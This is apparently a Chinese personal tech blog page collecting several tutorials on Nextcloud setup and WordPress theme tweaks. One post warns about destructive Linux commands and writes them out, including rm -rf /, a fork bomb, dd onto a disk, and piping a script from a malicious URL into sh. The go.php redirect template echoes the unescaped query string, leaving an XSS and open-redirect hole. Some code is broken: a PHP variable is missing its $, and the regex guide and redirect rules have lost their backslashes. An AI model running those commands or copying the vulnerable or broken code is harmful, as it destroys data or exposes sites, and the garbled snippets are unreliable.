Hi,
有钱终成眷属
没钱亲眼目睹

技术文章 第7页

Nextcloud15的安全及设置警告优化处理方法

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

昨天,介绍了有关在宝塔面板下配置安装Nxtcloud15的教程,但是安装完成后,在后台的概览里显示安全设置及警告的提示信息。

如图:

下面,我就总结下如何处理安全设置及告警提示信息。

1、您的数据目录和文件可以从互联网直接访问。.htaccess 文件不起作用。强烈建议您配置 Web 服务器,以便数据目录不再可访问,或者你可以将数据目录移动到 Web 服务器文档根目录。

解决方法是修改nextcloud绑定的网站配置文件,添加nextcloud常用目录禁止访问即可,加入下列代码

location ~ ^/(?:build|tests|config|lib|3rdparty|templates|data)/ {
    deny all;
}

2、PHP的安装似乎不正确,无法访问系统环境变量。getenv(“PATH”)函数测试返回了一个空值。 请参照安装说明文档 ↗中的PHP配置说明查阅您服务器的PHP配置信息,特别是在使用php-fpm时。

从宝塔文件管理,打开/www/server/php/72/etc/php-fpm.conf,在其尾部添加一行

env[PATH] = /usr/local/bin:/usr/bin:/bin:/usr/local/php/bin

保存并重启PHP即可解决该问题。

3、通过 HTTP 访问网站不安全。强烈建议您将服务器设置成 HTTPS 协议,请查阅 安全贴士↗。

如果以前申请过SSL,可以将crt和key用记事本打开,分别黏贴到下图中。

如果没有,也可注册宝塔会员,免费申请,申请完点击部署即可。

4、您的网页服务器未正确设置以解析“/.well-known/caldav”。更多信息请参见文档。
您的网页服务器未正确设置以解析“/.well-known/carddav”。更多信息请参见文档。

这两个警告可以一起解决,出现该提示一般是因为这两个路径的伪静态设置有问题,导致无法正常访问。
解决方法就是添加两行重定向配置

rewrite /.well-known/carddav /remote.php/dav permanent;
rewrite /.well-known/caldav /remote.php/dav permanent;

5、未找到 PHP 的 “fileinfo” 模块。强烈推荐启用该模块,从而获得更好的 MIME 类型探测结果。

因为php环境默认是没有安装fileinfo这个扩展模块的,所以需要手动去宝塔PHP管理选项中安装fileinfo扩展。

6、内存缓存未配置,为了提升使用体验,请尽量配置内存缓存。更多信息请参见文档。

安装php的Memcached和apcu模块(注意是memcached,非memcache),我选的是Memcached和apcu

编译安装完毕之后,从宝塔面板打开/www/wwwroot/你的域名/config/config.php,手动给nextcloud的配置文件中添加一行设置,指定使用APCu作为缓存
第1行为指定本地缓存为APCu,第2、3行为指定分布式缓存为Memcached

'memcache.local' => '\\OC\\Memcache\\APCu',
  'memcache.distributed' => '\\OC\\Memcache\\Memcached',
  'memcached_servers' => 
  array (
    0 => 
    array (
      0 => 'localhost',
      1 => 11211,
    ),
 );

7、PHP 的 OPcache 模块未载入。推荐开启获得更好的性能。

安装php的opcache扩展模块

并改为下图的参数

opcache.enable=1
opcache.enable_cli=1
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=10000
opcache.memory_consumption=128
opcache.save_comments=1
opcache.revalidate_freq=1

8、该实例缺失了一些推荐的PHP模块。为提高性能和兼容性,我们强烈建议安装它们。imagick

安装php的imagemagick扩展模块

9、数据库中的一些列由于进行长整型转换而缺失。由于在较大的数据表重改变列类型会耗费一些时间,因此程序没有自动对其更改。您可以通过命令行手动执行 “occ db:convert-filecache-bigint” 命令以应用挂起的更改。该操作需要当整个实例变为离线状态后执行。查阅相关文档以获得更多详情。
  • filecache.mtime
  • filecache.storage_mtime

通过SSH登录到服务器的命令模式下,并cd到站点目录下,输入

php occ db:add-missing-indices

提示如下信息

意思是需要使用www用户权限来修改,再次输入

sudo -u www php occ db:add-missing-indices

提示如下图信息,并输入 y

10、HTTP的请求头 “Referrer-Policy” 未设置为 “no-referrer”, “no-referrer-when-downgrade”, “strict-origin” or “strict-origin-when-cross-origin”. 这会导致信息泄露。

需要设置一个Referrer-Policy请求头来提高安全性。

add_header Referrer-Policy "no-referrer";

下面是我的Nextcloud用得Nginx配置

server
{
    #基础配置,这些可以照搬宝塔的配置
    listen 80;
    listen 443 ssl http2;
    server_name www.chyiyang.net;
    index index.php index.html index.htm default.php default.htm default.html;
    root /www/wwwroot/www_chyiyang_net;

    ssl_certificate    /etc/letsencrypt/live/www.chyiyang.net/fullchain.pem;
    ssl_certificate_key    /etc/letsencrypt/live/www.chyiyang.net/privkey.pem;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
	
    error_page 497 https://$host$request_uri;
    #nextcloud包含了403和404的错误页面
    error_page 403 /core/templates/403.php;
    error_page 404 /core/templates/404.php;
	
    #HSTS、缓存设置
    add_header Strict-Transport-Security "max-age=15768000; includeSubDomains; preload;";
    large_client_header_buffers 4 16k;
    client_max_body_size 10G; 
    fastcgi_buffers 64 4K;
    gzip off;
	
    #宝塔默认是include调用PHP相关配置,这里稍稍修改了一下,注意php版本
    #加入了front_controller_active这项参数以删除页面URL中的index.php
    location ~ [^/]\.php(/|$)
    {
        try_files $uri =404;
        fastcgi_pass  unix:/tmp/php-cgi-72.sock;
        fastcgi_index index.php;
        include fastcgi.conf;
	    include pathinfo.conf;
	    fastcgi_param front_controller_active true;
    }
    #一键申请SSL证书验证目录相关设置
    location ~ \.well-known{
        allow all;
    }
	
    #nextcloud一些关键目录的权限设置
    location ~ ^/(data|config|\.ht|db_structure\.xml|README) {
        deny all;
    }
    #静态资源重定向1
    location ~* \/core\/(?:js\/oc\.js|preview\.png).*$ {
        rewrite ^ /index.php last;
    }
    #webdav重定向
    location / {
        rewrite ^ /index.php$uri;
        rewrite ^/caldav(.*)$ /remote.php/caldav$1 redirect;
        rewrite ^/carddav(.*)$ /remote.php/carddav$1 redirect;
        rewrite ^/webdav(.*)$ /remote.php/webdav$1 redirect;
        rewrite ^(/core/doc/[^\/]+/)$ $1/index.html;
    #静态资源重定向2,支持使用acme脚本在申请证书时对域名的验证
     if ($uri !~* (?:\.(?:css|js|svg|gif|png|html|ttf|woff)$|^\/(?:remote|public|cron|status|ocs\/v1|ocs\/v2)\.php|^\/\.well-known\/acme-challenge\/.*$)){
         rewrite ^ /index.php last;
        }
    }
	
    #静态资源重定向3
    location ~* \.(?:png|html|ttf|ico|jpg|jpeg)$ {
        try_files $uri /index.php$uri$is_args$args;
        access_log off;
    }
    
    location ~ ^/(?:updater|ocs-provider)(?:$|/) {
        try_files $uri/ =404;
        index index.php;
    }
	
    #对静态资源添加header
    location ~ \.(?:css|js|woff|svg|gif)$ {
        try_files $uri /index.php$uri$is_args$args;
        add_header Cache-Control "public, max-age=15778463";
        add_header X-Content-Type-Options nosniff;
        add_header X-XSS-Protection "1; mode=block";
        add_header X-Robots-Tag none;
        add_header X-Download-Options noopen;
        add_header X-Permitted-Cross-Domain-Policies none;
		add_header Referrer-Policy "no-referrer";
        access_log off;
    }
    #caldav和#carddav
    rewrite /.well-known/carddav /remote.php/dav permanent;
    rewrite /.well-known/caldav /remote.php/dav permanent;
    location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$
    {
        expires      30d;
        access_log off; 
    }
    #access_log  /www/wwwlogs/www.chyiyang.net.log;
}

好了,就写到这了,希望对大家有所帮助,文笔有限,望谅解~~

宝塔面板安装Nextcloud15简单教程

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

之前,我用centos7.4 + nginx + php7.2 + MariaDB的环境安装了Nextcloud14,之后版本大更新,想升级到Nextcloud15,结果不知道按错了按钮还是什么的,把Nextcloud直接给弄崩溃了,直接登录不进去。一气之下,安装了宝塔面板后,直接安装Nextcloud15。

Nextcloud15在宝塔面板安装环境为PHP7.2 + SQL5.6 + Nginx, 接下来,介绍在宝塔面板环境下如何安装Nextcloud。
1、在网站栏目下添加站点信息。

2、在文件栏目下,切换到wwwroot目录下,添加下载好的nextclou.zip包。

也可以选择远程下载,加入下载地址

3、选择上传的zip包,解压到当前目录。

4、清空新建站点下的所有文件,并将nextcloud内的所有文件复制到站点里。


5、在数据库栏下,添加数据库,输入数据库名、用户名及密码。

6、在浏览器下输入站点地址后,提示下面的错误。

内部服务器错误
服务器不能完成你的请求.
如果多次出现这个错误, 请联系服务器管理员, 请把下面的技术细节包含在您的报告中.
更多细节可以在服务器日志中找到.

上面的问题是由于文件夹权限设置的不到位。


站点权限为755,将站点权限改为770.

7、再次在浏览器输入站点地址,出现如下画面

8、分别输入管理员账号及密码,选择数据库并输入数据库用户名、密码及数据库名称,最后点击安装完成。

9、安装完成后,自动跳转到如下界面。

博主自己我文笔有限,写的不好请谅解~~·

Linux之8个最危险的命令

伊阳阅读()

本文最后更新于2021年2月8日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

Linux的命令是很强大、高效的。但是有时侯执行一些命令要非常小心,尤其是,当你不知道自己在干什么的情况下。今天就列举下面几个命令,使用时一定要再三确认,要不然会后悔莫及。

1、 rm -rf

m -rf是删除目录最快的方法,如果使用桌面环境(右键->删除)删除一个零碎目录需要很长时间。但是一个小小的打字错误,有可能对你的系统造成不可恢复的破坏。
比如:

# rm -rf /

上面这条命令需要系统管理员权限,这也是不建议使用root用户登录系统的原因之一。
rm常用选项:

  • rm:删除文件
  • rm -r:递归的删除目录,包括空目录
  • rm -f:直接删除文件,不询问
  • rm -rf /:直接根(root)目录,不询问
  • rm -rf *:删除当前目录的所有东西,不询问
  • rm -rf:删除当前目录和子目录,不询问
在执行rm -rf一定要小心。为了防止rm命令意外删除文件或目录,可以为rm创建一个别名rm -i,每次都需要确认删除。
2、 :(){:|:&};:

上面这个命令就是所谓的fork炸弹。执行上面代码会耗尽系统资源而崩溃。

3、cmd > /dev/sda

cmd代表一个命令,cmd > /dev/sda把cmd命令的输出写到了/dev/sda块设备上,会导致/dev/sda块设备数据的全部丢失。

4、mv 目录 /dev/null

上面命令会把目录移动到/dev/null。在Linux中, /dev/null是一个特殊的设备文件,有人把它叫做黑洞。

# mv /home/* /dev/null
 

上面命令相当于:

# rm -rf /home/*
 
5、wget http://怀有恶意脚本的url -O- | sh

上面这条命令在安装软件或系统环境时总用到,它从url下载脚本,下载完成之后自动执行脚本。不要对不信任的url执行上面这个命令。

6、mkfs.ext3 /dev/sda

上面命令是格式化命令,执行完之后硬盘数据全部清空。

7、> file

> file命令会把文件中的数据全部清空。

8、dd if=/dev/random of=/dev/sda

上面命令向sda设备中写入随机数据,这是不可恢复的。

不论执行上面的哪一条命令时,一定要考虑清楚,是否需要,以免带来无法避免的错误。

WordPress鼠标自定义指针样式教程

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

看着别的博主的站点的鼠标样式很新颖、个性,于是想给自己也DIY一个,在网上找了方法,此方法是当用户浏览个人站点时鼠标指针会自动替换成我们预设好的指针样式。现在分享给大家。

1、将鼠标指针样式文件上传到你的网站任意目录。(指针文件在下面)
2、在当前主题style.css文件,把下面的css代码添加进去。

/** 鼠标样式 开始**/
/** 普通指针样式**/
body{
  cursor: url(http://www.......png), default; //鼠标指针样式一路径
}
/** 链接指针样式**/
a:hover{cursor:url(http://www.......png), pointer;}   //鼠标指针样式二路径
/** 鼠标样式 结束**/

好了,按照上面两步进行操作,自定义鼠标指针完成。修改完毕后,要记得清空浏览器缓存才会看见效果哦。

Win10系统激活信息查询方法

伊阳阅读()

本文最后更新于2020年2月26日,已超过 5 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

前几天,我的笔记本键盘个别按键不好使了,想着是不是电脑系统有问题,然后就重新装了下系统,可装完按键故障还是照旧。装完系统之后,发现系统未激活,以前的激活信息也未备份,幸好同事给了一个正版激活码,把Win10系统给激活了。之后,想着看一下系统的激活信息,下面将记录下查询方法:

1、右键点击旧版windows系统”开始“按钮,如图所示,在弹出菜单中选择“运行”菜单项,或使用 Windows + R组合快捷键打开运行命令框。


2、在弹出的窗口中,输入 slmgr.vbs -xpr 再点击确定

3、之后会弹出另一个窗口,显示系统激活的过期时间,如果为永久激活,窗口中会显示永久激活


要查询详细激活信息,输入 slmgr.vbs -dlv 命令,可以查询到Win10的激活信息,包括:激活ID、安装ID、激活截止日期等信息。

也可以输入slmgr.vbs -dli 命令进行查询。


NANA主题站长推荐小工具代码缺陷修复

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

懿古今的NANA主题用了不到一个月时间,最近使用中发现站长推荐有点问题,表现为当取消站长推荐后,侧边栏站长推荐栏里还是显示已取消推荐的文章。

站长推荐使用的字段名称为hot,保存在数据库的postmeta表里,当我们勾选站长推荐时,postmeta表里的hot值为


当我们取消站长推荐时,hot值为

接着,打开主题下inc/functions/widgets.php文件的第242行,语句为


<?php query_posts( array ( 'meta_key' => 'hot', 'showposts' => $number, 'orderby' => 'rand', 'ignore_sticky_posts' => 1 ) ); while ( have_posts() ) : the_post(); ?>

然后,我在里面又加了一个条件,改为:

<?php query_posts( array ( 'meta_key' => 'hot','meta_value' => 'true','showposts' => $number, 'orderby' => 'rand', 'ignore_sticky_posts' => 1 ) ); while ( have_posts() ) : the_post(); ?>

经过测试,问题解决了。希望对大家有所帮助,文笔有限望见谅~~~

WordPress后台文章列表增加站长推荐栏目

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

本站点用的是懿古今的NANA主题,当写完一篇文章时,并在文章底部勾选“推送到[站长推荐]小工具”后,文章发布后,会在前端侧边栏显示站长推荐的文章。可经过很长时间之后,推荐的文章数多了,这时,要想在后台文章列表里,查看哪些是推荐的哪些不是推荐的,就只能一篇一篇的进入编辑模式下去看,不太直观,且麻烦。/p>
今天,我就介绍下如何在WordPress后台的文章列表增加栏目(站长推荐)。效果图如下:

要实现上面的效果,也很简单,只需要在当前主题的functions的?>添加下列代码即可。

//1~ 在后台文章列表增加1列数据,展示站长推荐
add_filter( 'manage_posts_columns', 'yiy_customer_posts_columns' );
function yiy_customer_posts_columns( $columns ) {
  $columns['hots'] = '站长推荐';
  return $columns;
} 
//2~ 输出结果
add_action('manage_posts_custom_column', 'yiy_customer_columns_value', 10, 2);
function yiy_customer_columns_value($column, $post_id){
   if($column=='hots'){
      $hot_value = get_post_meta($post_id,'hot',true);  
      if($hot_value==true) {echo Yes;    //站长推荐显示Yes
      }else
	echo No;	                 //不是显示No 
      }
   return;
 }

好了,到此就结束了,是不是很简单呢。

简单的Go页面个性化制作

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

博主我用的是懿古今博主的NANA主题,站点也开启了Go跳转,再浏览懿古今博主的博客时,发现他的Go跳转很新颖,想着自己也弄一个。还是那句话,我不会编代码,但我会照猫画虎给改。经过多次的修改,终于照着懿古今的给仿做了一个。

效果图一

效果图二


下面我介绍下方法。

1、新建go.php文件,并复制下列代码保存。
<?php
/*
Template Name: GO跳转
*/
$t_url = preg_replace('/^url=(.*)$/i','$1',$_SERVER["QUERY_STRING"]); 
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
<meta name="robots" content="noindex, nofollow" />
<title>您将要访问的网页不属于伊阳博客</title>
<link rel="stylesheet" id="font-awesome-four-css" href="<?php echo esc_url( get_template_directory_uri() ); ?>/fonts/fontawesome-all.css" type='text/css' media='all'/>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/jquery-1.12.4.min.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/scrollmonitor.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/flexisel.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/stickySidebar.js"></script>
<link rel="stylesheet" id="nfgc-main-style-css" href="<?php bloginfo( 'stylesheet_url' ); ?>" type="text/css" media="all">
<link rel="stylesheet" type="text/css" href="<?php echo get_template_directory_uri(); ?>/css/go.css" media="all">
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/wow.js"></script>
<script type="text/javascript" src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/slides.js"></script>
</head>
<body>
<div class="container">
   <div class="header">
     <img src="<?php echo esc_url( get_template_directory_uri() ); ?>/images/logo.png" width="220" height="60" alt="<?php bloginfo('name'); echo stripslashes(get_option('ygj_lianjiefu')); bloginfo('description'); ?>" title="<?php bloginfo('name'); echo stripslashes(get_option('ygj_lianjiefu')); bloginfo('description'); ?>">
    </div>
    <div class="content">
       <div class="c-container warning">
          <div id="remind_block" class="remind_block">
             <div class="remind_content">
                <div class="remind_title">您将要访问</div>
                <div class="remind_detail">
                   <div class="safety-url">
                      <?php echo $t_url;?>
                   </div>
                   <span style="color:#CC0000;font-weight:800;">温馨提示:</span><br/>该网页不属于<a href="<?php bloginfo('url');?>" rel="nofollow"><?php bloginfo('name');?></a>,我们无法确认该网页是否安全,它可能包含未知的安全隐患,请注意保护好个人信息!
                </div>
                <div id="content-media1">
                   <?php if (get_option('ygj_hdpkg') == '显示') { get_template_part ('/inc/slider');} ?>  //此处我调用的是幻灯片,具体显示内容自己修改放到这里即可。
                <div class="clear"></div>
                </div>
               </div>
            </div>
       </div>
</div>
<div class="c-footer">
<a href="<?php echo $t_url;?>" rel="nofollow" class="c-footer-a1 btn_blue">继续访问</a><a class="c-footer-a2" href="<?php bloginfo('url');?>" rel="nofollow">返回主页</a>
</div>
</div>
<div class="footer">Copyright ? <a href="<?php bloginfo('url');?>" rel="nofollow"><?php bloginfo('name');?></a></div>
</body>
</html>
说明:代码41行为Go页面中间要显示的内容,自己根据需要修改添加即可!!!
2、新建go.css样式文件,并复制下列代码保存,并上传至当前主题下的css文件夹下。
body{margin:0;padding:0 30px;background-image: url("https://www.abc.cn/wp-content/uploads/2018/12/bg.gif")!important;background-position:left top;background-size: auto; background-repeat: repeat; background-attachment:scroll;font-size:12px}
h3{font-size:15px}img{border:none}a{text-decoration:none;cursor:pointer;outline:0;font-size:14px}
a:hover{text-decoration:none}
a,a:link,a:visited{color:#}a.btn_blue:focus{border-color:#93d4fc;box-shadow:0 0 5px #60caff}
a.btn_blue{display:inline-block;padding:6px 25px;margin:0;font-size:14px;font-weight:700;text-align:center;border-radius:3px;border:1px solid #0d659b;color:#fff;color:#fff!important;background-color:#fff;background:-moz-linear-gradient(top,#238aca,#0074bc);background:-webkit-linear-gradient(top,#238aca,#0074bc);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#238aca',endColorstr='#0074bc');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#238aca', endColorstr='#0074bc')"}
a.btn_blue:hover{text-decoration:none;background-color:#238aca;background:-moz-linear-gradient(top,#2a96d8,#0169a9);background:-webkit-linear-gradient(top,#2a96d8,#0169a9);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#2a96d8',endColorstr='#0169a9');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#2a96d8', endColorstr='#0169a9')"}
a.btn_blue:active{background-color:#238aca;background:-moz-linear-gradient(top,#0074bc,#238aca);background:-webkit-linear-gradient(top,#0074bc,#238aca);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0074bc',endColorstr='#238aca');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr='#0074bc', endColorstr='#238aca')";outline:0}
.remind_block{overflow:hidden}
.remind_block .remind_content{overflow:hidden}
.remind_block .remind_title{margin-bottom:10px;padding-top:3px;font-weight:700;font-size:20px;font-family:"Microsoft YaHei","lucida Grande",Verdana}
.remind_block .remind_detail{line-height:1.5;font-size:16px!important;color:#535353}
.remind_detail a{line-height:1.5;font-size:16px!important;}
.warning .remind_title{color:#c01e22}
.container{max-width:900px;margin:0 auto;padding-top:15px}
.header{margin-bottom:5px}
.footer{margin-top:5px;text-align:center;color:#a0a0a0;font-size:14px!important}
.content{border:1px solid #;background:#fff}
.c-container{padding:25px}
.c-footer{padding:10px 15px;overflow:hidden}
.c-footer-a1,.c-footer-a2{float:left;}
.c-footer-a2{margin:8px 0 0 15px;}
.safety-url{margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dfdfdf;word-wrap:break-word;word-break:break-all}
#content-media1{display:block;margin-top:20px;}
.f-fl{width:50%;float:left;}
.f-fr{width:50%;float:left;}
.ad{margin-bottom:10px}@media screen and (max-width:728px){#content-media1{display:none;}}
说明:css样式自己可自行修改!!!
3、后台新建go页面,模版选择“Go跳转”。

注意:要使用Go跳转,站点需要支持Go跳转,并开启跳转功能,才能正常使用!!!

好了,简单的Go页面个性化设置就完成了。部分样式代码参考至懿古今站点的Go跳转页面,在此表示感谢!!!

温馨提示

个性化Go页面制作升级版已修改完成,后期会贴出效果图。

百度文章收录检索页面制作方法

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

当我们发布一篇新的文章时,都想着以最快的时间让各大搜索引擎收录。刚开始的时候,我是在文章页加入百度收录代码,以查看文章是否被收录,可这样每次都得打开文章进行查看,比较麻烦。于是呢,脑子里蹦出一个念头,想着能不能做一个页面,列出所有文章是否被百度收录。这样就可以一目了然的知道那些文章被收录,哪些没有被收录。然后我们可以通过SEO优化,使没有收录的文章进行收录。

要实现这一功能也比较容易,本文只适合新手,老鸟请无视之。下面我将介绍一下实现的方法。
1、在主题下的functions.php里黏贴下列代码。

//百度收录
function checkBaidu($url) { 
  $url = 'http://www.baidu.com/s?wd=' . urlencode($url); 
  curl = curl_init(); 
  curl_setopt($curl, CURLOPT_URL, $url); 
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 
  $rs = curl_exec($curl); 
  curl_close($curl); 
  if (!strpos($rs, '没有找到')) { //没有找到说明已被百度收录 
     return '<i class="fa fa-check"></i> <span style="color: #1d9c04;">百度已收录</span>'; 
  } else { 
    return '<i class="fa fa-times"></i> 百度未收录'; 
  } 
}

2、新建一个baiducheck.php,或直接将single.php另存为baiducheck.php。
3、按照下面方法

<?php get_header();?>
改为 
<?php  /** Template Name: BaiduCheck */ get_header();?>

4、删除原single里面不需要显示的代码,并在适当位置,加入如下代码。

<div id="baiducheck">
   <ul>
      <li class="check col-1"><span class="number">序号</span><span class="links">链接地址</span><span class="title">文章名称</span><span class="bdcheck">是否收录</span>
      </li>
     <?php query_posts("post_type=post & post_status=publish & posts_per_page=-1");$i=1;
      if ( have_posts() ) { 
      while ( have_posts() ) { 
      the_post(); 
    ?>
      <li class="check col-2"><span class="number"><?php echo $i;$i++; ?></span><span class="links"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"  target="_blank"><?php the_permalink() ?></a></span><span class="title"><?php the_title(); ?></span><span class="bdcheck"><?php echo checkBaidu(get_the_permalink());?></span>
      </li>
    <?php }
    } ?>
   </ul>
</div>

5、后台新建一个页面,名称自己命名,模板选择“Baiducheck”。
6、将下列css样式,加入到主题的style里。

#baiducheck ul li{list-style:none;border:1px solid #ccc;margin-top:-1px;line-height:30px}
#baiducheck .number{width:40px;display:block;text-align:center;border-right:1px solid #ccc;float:left}
#baiducheck .links{padding-left: 10px;border-right: 1px solid #ccc;width: 250px;display: block;float: left;}
#baiducheck .title{padding:0 10px;border-right: 1px solid #ccc;width: 340px;display: block;float: left;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;word-wrap:normal;}
#baiducheck .bdcheck{padding:0 10px}
#baiducheck .col-2:nth-child(2n){background:#f1f1f1;}
#baiducheck .col-2:nth-child(2n+1){background:#fff;}

好了,到此就完成了。
效果如下:

温馨提示

本文为博主亲自整理并测试,转载请保留出处!

WordPress固定链接301重定向说明及方法

伊阳阅读()

本文最后更新于2021年4月1日,已超过 4 年没有更新,如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

今天的文章标题为Wordpress的301跳转简述及方法,为什么要写这个呢。原因很简单,因为我前几天对博客的部分文章地址进行了301跳转。可能又会有人问,我为什么要进行301跳转呢?原因也很简单,因为我对文章的固定链接进行了修改,修改之前的文章百度已经收录,给百度提交之前的文章地址为死链,又删不掉,没办法,才进行了301跳转。

可能有的人不明白何为301跳转,301重定向(301 redirect),也叫301跳转,是指网址的永久性转移(Permanently Moved),当网站在搜索引擎索引库中的网址发生改变时,搜索引擎并不能及时改变索引库中的网址。网站管理员通过对网址的301重定向转移,可以避免损失来自搜索引擎的用户。更重要的是,通过301重定向转换,URL的权重、Google PR值都能够不受影响地传递。因此301重定向也是网页更改地址后对搜索引擎非常友好的一种方法。

例如,我之前文章发表的地址为:https://www.chyiyang.cn/2018/2.html,现在我的文章发表地位改为了https://www.chyiyang.cn/2.html,百度已收录了旧地址,但旧文章已变成了新地址,如果这个时候你去访问原文章地址,浏览器会返回404错误。这个时候为了避免404错误,就要启用301重定向。

要实现301重定向,主要有两种方法。一是使用插件。另一种是利用.htaccess实现URL重定向(redirect)。有人可能要问我,我用的哪一种?我在这可以告诉大家,我用的是插件实现,至于为啥用插件,我后面会说明原因。

一、使用插件实现301重定向

插件主要有两种,WP Permalinks Migration或Redirection。我用的是前者,因为前者配置界面为中文,后者界面为英文。
1、下载并安装插件WP Permalinks Migration。
2、启用插件以后,进入WordPress后台的Settings(设置)–>WP Permalinks Migration,可以看到一般会自动识别原来的链接样式,如果没有自动识别原来的链接样式,那就你手动填写,并按左下角的按钮保存设置。
3、在WordPress后台的Settings(设置)–>Permalinks(永久链接)–>修改为你想要的样式,保存即可,这时候,访问原来的链接,就可以自动跳转到你的新链接!

二、利用.htaccess实现URL重定向(redirect)

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
要利用.htaccess文件进行重定向,就需了解表达式的规则,具体规则含义如下:

^ –> 匹配字符串的开始
$ –> 匹配字符串的结束
^$ –> 可以用于确定字符串,即可以用于确定起点或终点。例如:^$ —— 空字符串
s –> 匹配任意的空白符
w –> 匹配字母或数字或下划线或汉字
b –> 是正则表达式规定的一个特殊代码代表着单词的开头或结尾,也就是单词的分界处
d –> 匹配一位数字
W (大写) –> 匹配任意不是字母,数字,下划线,汉字的字符
S (大写) –> 匹配任意不是空白符的字符
D (大写) –> 匹配任意非数字的字符
B (大写) –> 匹配不是单词开头或结束的位置
“ . ” –> 匹配除了换行符以外的任意字符
“ * ” –> 它代表的不是字符,也不是位置,而是数量——它指定 * 前边的内容可以连续重复使用任意次以使整个表达式得到匹配。“ * ”连在一起就意味着任意数量的不包含换行的字符
“ + ” –> 是和“ * ”类似的元字符,不同的是 * 匹配重复任意次(可能是0次),而 + 则匹配重复1次或更多次。
“ ? ” –> 重复零次或一次
“ – ” –> 不是元字符,只匹配它本身,即连字符(减号)

示例一:原固定链接/personal/article/%year%/%postname%.htm改为/%postname%.html
其中,/personal/article/不变,%year%/为数字,为([0-9]+);%postname%.htm为字符,为(.*),可以理解为最后的文章名称或者ID。给/%year%/赋予$1,%postname%.htm赋予$2,(.*)和$2l(是字幕l,不是数字1)之间的那个$可以理解为老网址和新网址之间的分割。
重定向语句:

RedirectMatch 301 ^/personal/article/([0-9]+)/(.*)$ /$2l

示例二:原固定链接/%year%/%monthnum%/%day%/%postname%/改为/%postname%.html
其中,%year%,%monthnum%,%day%均表示数字,所以都为([0-9]+),%postname%为字符,为(.*)。这4个变量分别赋予$1,$2,$3,$4。
重定向语句:

RedirectMatch 301 ^/([0-9]+)/([0-9]+)/([0-9]+)/(.*)/$ /$4.html
 

示例三:/%post_id%修改为/%category%/%post_id%.html
其中,%post_id%肯定是数字,而上面说过,正则表达式中(d+)对应任意数字,所以以前的网址可以写成/(d+),而%category%是分类,肯定是字符,不管是汉字还是字母,正则表达式中(.+) 对应的是任意字符(包括汉字、英文字母等),所以新的网址可以写成/(.+)/(d+).html
重定向语句:

RedirectMatch 301 ^/(d+)$ /(.+)/$1.html
 

到此,两种方法就介绍完了。

现在,我就说下我为什么要用插件进行301重定向,因为用插件的话,在访问旧地址时,当网页打开时,浏览器上的网址会替换成新地址。而用htaccess进行重定向时,浏览器上的地址还是旧的网页地址。
WP Permalinks Migration插件下载地址:

本文部分参考:https://qiaodahai.com/wordpress-modify-permalinks-301-redirect.html,再次表示感谢!!